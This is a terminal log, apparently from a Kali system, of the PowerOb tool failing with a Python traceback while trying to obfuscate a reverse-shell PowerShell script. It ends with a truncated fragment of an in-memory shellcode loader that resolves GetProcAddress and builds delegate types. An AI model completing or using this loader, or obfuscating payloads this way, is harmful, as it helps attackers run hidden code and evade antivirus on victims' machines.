root@kali:/opt/tools/powerob# python3 powerob.py obfuscate revnew.ps1 revx.ps1 

       ___                        ___ _     
      / _ \_____      _____ _ __ /___| |__  
     / /_)/ _ \ \ /\ / / _ | '__//  /| '_ \ 
    / ___| (_) \ V  V |  __| | / \_//| |_) |
    \/    \___/ \_/\_/ \___|_| \___/ |_.__/ 

            author: Cory Wolff <visnet>
            company: Layer 8 <layer8security.com>
    
---------------------------------------------------------------------------

[+] Loading the Powershell script
[+] Locating functions
[-] No Functions Found. Exiting...
Traceback (most recent call last):
  File "powerob.py", line 120, in find_functions
    exit()
  File "/usr/lib/python3.8/_sitebuiltins.py", line 26, in __call__
    raise SystemExit(code)
SystemExit: None

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "powerob.py", line 316, in <module>
    PowerOb()
  File "powerob.py", line 192, in __init__
    getattr(self, args.command)()
  File "powerob.py", line 205, in obfuscate
    functions = find_functions(args.inputfile)
  File "powerob.py", line 126, in find_functions
    print(color("[-] Unexpected error:" + sys.exc_info()[0]))
TypeError: can only concatenate str (not "type") to str

[+] Loading the Powershell script
[+] Locating functions
[-] No Functions Found. Exiting...

function func_get_proc_address {
	Param ($var_module, $var_procedure)		
	$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
	$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
	return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
		[Parameter(Position = 1)] [Type] $var_return_type = [Void]`

```